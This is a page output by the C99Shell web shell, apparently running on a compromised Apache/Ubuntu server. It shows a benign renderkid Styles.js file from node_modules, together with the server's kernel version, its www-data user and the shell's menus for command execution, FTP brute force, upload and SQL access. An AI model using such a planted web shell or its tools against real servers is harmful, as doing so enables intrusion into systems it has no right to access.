!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/wincloud_gateway/node_modules/renderkid/lib/renderKid/   drwxr-xr-x
Free 12.97 GB of 57.97 GB (22.37%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Styles.js (2.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"use strict";

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

// Generated by CoffeeScript 2.5.1
var MixedDeclarationSet, StyleSheet, Styles, terminalWidth;
StyleSheet = require('./styles/StyleSheet');
MixedDeclarationSet = require('./styles/rule/MixedDeclarationSet');
terminalWidth = require('../tools').getCols();

module.exports = Styles = function () {
  var self;

  var Styles = /*#__PURE__*/function () {
    function Styles() {
      _classCallCheck(this, Styles);

      this._defaultStyles = new StyleSheet();
      this._userStyles = new StyleSheet();

      this._setDefaultStyles();
    }

    _createClass(Styles, [{
      key: "_setDefaultStyles",
      value: function _setDefaultStyles() {
        this._defaultStyles.setRule(self.defaultRules);
      }
    }, {
      key: "setRule",
      value: function setRule(selector, rules) {
        this._userStyles.setRule.apply(this._userStyles, arguments);

        return this;
      }
    }, {
      key: "getStyleFor",
      value: function getStyleFor(el) {
        var styles;
        styles = el.styles;

        if (styles == null) {
          el.styles = styles = this._getComputedStyleFor(el);
        }

        return styles;
      }
    }, {
      key: "_getRawStyleFor",
      value: function _getRawStyleFor(el) {
        var def, user;
        def = this._defaultStyles.getRulesFor(el);
        user = this._userStyles.getRulesFor(el);
        return MixedDeclarationSet.mix(def, user).toObject();
      }
    }, {
      key: "_getComputedStyleFor",
      value: function _getComputedStyleFor(el) {
        var decs, parent, prop, ref, val;
        decs = {};
        parent = el.parent;
        ref = this._getRawStyleFor(el);

        for (prop in ref) {
          val = ref[prop];

          if (val !== 'inherit') {
            decs[prop] = val;
          } else {
            throw Error("Inherited styles are not supported yet.");
          }
        }

        return decs;
      }
    }]);

    return Styles;
  }();

  ;
  self = Styles;
  Styles.defaultRules = {
    '*': {
      display: 'inline'
    },
    'body': {
      background: 'none',
      color: 'white',
      display: 'block',
      width: terminalWidth + ' !important'
    }
  };
  return Styles;
}.call(void 0);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--